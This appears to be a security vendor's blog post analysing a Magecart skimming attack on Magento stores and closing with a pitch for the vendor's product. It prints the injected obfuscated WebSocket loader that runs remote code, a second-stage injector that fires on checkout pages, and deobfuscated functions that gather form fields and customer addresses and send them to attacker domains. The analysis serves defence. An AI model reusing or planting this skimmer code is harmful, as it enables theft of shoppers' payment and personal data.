On October 14th, we posted an article on how another Magento Magecart attack was taking place. Then we only noticed one script as the culprit.
Today, we were able to find and analyze the attack in more detail.
The attack decoded
This was the injected code:
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>
Upon decoding this obfuscated script, we discovered that it establishes a WebSocket connection to the following URL: `wss://gstatlc[.]org/jivo?source=`.
We then suspected the attack likely intended for web skimming purposes, i.e., stealing customer data such as credit card information.
Now we found the following script:
! function() {
function e(e) {
let t = "";
for (let n = 0; n < e.length; n += 2) {
let o = e.slice(n, n + 2),
c = parseInt(o, 16);
t += String.fromCharCode(c)
}
return t
}
if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
n = "x-magento-65dsf";
t. {
! function(t) {
if (!document.querySelector("#" + n)) {
const o = document.createElement("script");
o.id = n, o.text = e(t), document.head.appendChild(o)
}
}(t.data)
}
}
}();
This leads to obfuscated code, which our platform c/side automatically deobfuscates. We found various functions meant to capture data.
// Function to decode the selectors
function decodeSelectors() {
let decoded = hexDecode(encodedSelectors);
let selectorArray = decoded.split('|');
return selectorArray;
}
// Function to check if specific elements are present on the page
const checkElementsPresence = () => {
let selectors = decodeSelectors();
return selectors.every(selectorEntry => {
let [selector, count] = selectorEntry.split(':');
let elements = document.querySelectorAll(selector);
return elements.length >= Number(count);
});
};
// Function to generate a unique identifier
const generateUUID = () => {
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
};
// Function to encode data as hex
function hexEncode(str) {
return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
}
// Function to collect form data
const collectFormData = (context) => {
let data = {};
let counts = {};
let inputs = context.querySelectorAll('input, select, textarea');
for (let i = 0; i < inputs.length; ++i) {
let element = inputs[i];
let name = element.name || element.id;
let value = element.value;
if (value !== '' && name) {
if (!counts[name]) counts[name] = 0;
if (element.tagName !== 'SELECT') {
counts[name] === 0
? data[name] = value
: data[`${name}#${counts[name]}`] = value;
} else {
let selectedOption = element.options[element.selectedIndex].text;
counts[name] === 0
? data[name] = selectedOption
: data[`${name}#${counts[name]}`] = selectedOption;
}
counts[name]++;
}
}
data['url'] = window.location.hostname;
data['ua'] = window.navigator.userAgent;
data['ts'] = Date.now();
// Attempt to collect customer address data if available
if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
try {
let addresses = window.checkoutConfig.customerData.addresses;
data['address_data'] = addresses[Object.keys(addresses)[0]];
} catch (e) { /* Ignore errors */ }
}
return hexEncode(JSON.stringify(data));
};
// Interval to repeatedly check and send data
let intervalId = setInterval(() => {
if (checkElementsPresence()) {
let formData = collectFormData(document.body);
const uuid = generateUUID();
const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
const ws = new WebSocket(webSocketURL);
ws.addEventListener('open', function () {
ws.send(formData);
ws.close(1000, 'done');
clearInterval(intervalId);
});
}
}, 1000);
})();
In there was another malicious domain: wss://adsprove[.]online/ws.
All these function now prove that the script is indeed targeting various inputs from unsuspecting visitors. It also proves that monitoring and blocking these attempts from the client-side is vital to spot and stop these attacks.
How to protect your site
c/side was founded to stop these attacks. Any 3rd party scripts present on your site that are compromised, we can detect and block before they execute in the browser of your visitors. Protecting them, and you, from malicious actors.
By using c/side’s free tier, you are safe from this and other similar attacks.